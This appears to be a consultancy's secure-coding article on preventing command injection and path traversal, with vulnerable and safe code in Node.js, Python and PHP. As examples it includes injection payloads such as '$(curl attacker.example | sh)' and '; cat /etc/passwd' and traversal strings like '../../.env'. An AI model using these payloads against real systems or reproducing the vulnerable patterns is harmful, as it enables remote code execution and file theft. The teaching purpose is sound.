Skip to content
Innovialabs

Command Injection and Path Traversal: Examples and Prevention

Practice4 min

In short

Both attacks happen when user input becomes part of a shell command or file path; prevent them by never invoking a shell, passing arguments as an array, allowlisting values and checking that the resolved path stays inside a base directory.

The short answer

Command injection happens when your code builds a shell command from user input, and the attacker adds their own command with characters like ;, &&, | or $(). Path traversal happens when user input becomes part of a file path, and sequences like ../ let the attacker read or overwrite files outside the intended folder.

The fix is the same idea in both cases: do not let data become code or structure. Call programs without a shell, pass arguments as a list, accept only known values, and verify the final path after normalization.

Command injection: vulnerable patterns

All three examples below glue a parameter into a string that a shell interprets.

// Node.js — vulnerable
const { exec } = require("child_process");
exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
# Python — vulnerable
import subprocess
subprocess.run(f"ping -c 1 {host}", shell=True)
// PHP — vulnerable
echo shell_exec("ping -c 1 " . $_GET["host"]);

If the attacker sends 8.8.8.8; cat /etc/passwd, the shell runs both commands. With $(curl attacker.example | sh) they can download and run arbitrary code with the privileges of your web server.

Command injection: safe patterns

  1. Prefer a library over a CLI. Need to resize an image or make an archive? A native library removes the shell from the picture entirely.
  2. Call the program directly, without a shell, and pass arguments as an array. The shell metacharacters then lose their meaning.
  3. Validate against an allowlist — a regex for a hostname, an enum for a format, a number range for a size.
  4. Stop argument injection. Even without a shell, a value like --output=/tmp/x can be read as an option. Put -- before user values when the tool supports it, and reject values starting with -.
// Node.js — safe
const { execFile } = require("child_process");
if (!/^[a-zA-Z0-9.-]{1,253}$/.test(host)) return res.status(400).end();
execFile("ping", ["-c", "1", "--", host], (err, out) => res.send(out));
# Python — safe
subprocess.run(["ping", "-c", "1", "--", host], check=True, timeout=5)

In PHP, prefer proc_open with an array command (supported in modern versions) or, at minimum, wrap every argument with escapeshellarg(). Escaping is a fallback, not a design: one forgotten call reopens the hole.

Path traversal: vulnerable patterns

// Node.js — vulnerable
const file = path.join(__dirname, "uploads", req.params.name);
res.sendFile(file);

A request for ../../.env resolves to a file outside uploads. The same mistake appears with open(os.path.join(BASE, name)) in Python and file_get_contents("uploads/" . $name) in PHP. Attackers also try encoded forms like %2e%2e%2f, backslashes on Windows and absolute paths: os.path.join("/data", "/etc/passwd") simply returns /etc/passwd.

Path traversal: safe patterns

The reliable check is: resolve the full path first, then confirm it is still inside the base directory.

// Node.js — safe
const BASE = path.resolve(__dirname, "uploads");
const target = path.resolve(BASE, req.params.name);
if (!target.startsWith(BASE + path.sep)) return res.status(400).end();
res.sendFile(target);
# Python — safe
from pathlib import Path
BASE = Path("/srv/app/uploads").resolve()
target = (BASE / name).resolve()
if not target.is_relative_to(BASE):
    raise PermissionError("invalid path")
// PHP — safe
$base = realpath(__DIR__ . "/uploads");
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || !str_starts_with($target, $base . DIRECTORY_SEPARATOR)) {
    http_response_code(400); exit;
}

Even better, do not use user-supplied names at all. Store files under generated IDs (a UUID) and keep the original name in the database. The client asks for /files/3f2a…, and the server looks up the real path.

Checklist

  • No exec, shell=True, system, shell_exec or backticks with user data.
  • Arguments as arrays; -- before user values; reject leading -.
  • Allowlists for hostnames, formats and file extensions.
  • Paths resolved with resolve/realpath and checked against the base directory.
  • Files stored under generated IDs.
  • The app runs as a low-privilege user, so a successful attack reaches less.
  • Code review and SAST rules flag dangerous functions automatically.

Common mistakes

  • Blocklisting characters like ; or ../. There are too many encodings and alternatives; allowlists win.
  • Checking before decoding. Validate the value your code will actually use, after URL decoding and normalization.
  • A prefix check without a separator. /srv/uploads-old starts with /srv/uploads; always compare with the trailing separator.
  • Forgetting symlinks. realpath and Path.resolve() follow them; plain string normalization does not.

FAQ

Escaping functions help, but they are easy to forget or misuse for a specific shell. Calling the program without a shell and passing an argument array removes the problem at its root.

We can help with this

If you'd rather get the result than figure it all out yourself — this is what we do every day.

Discuss a project

Read next

Have an idea or a task? Tell us about it

We'll reply within one business day and propose a solution. The consultation is free.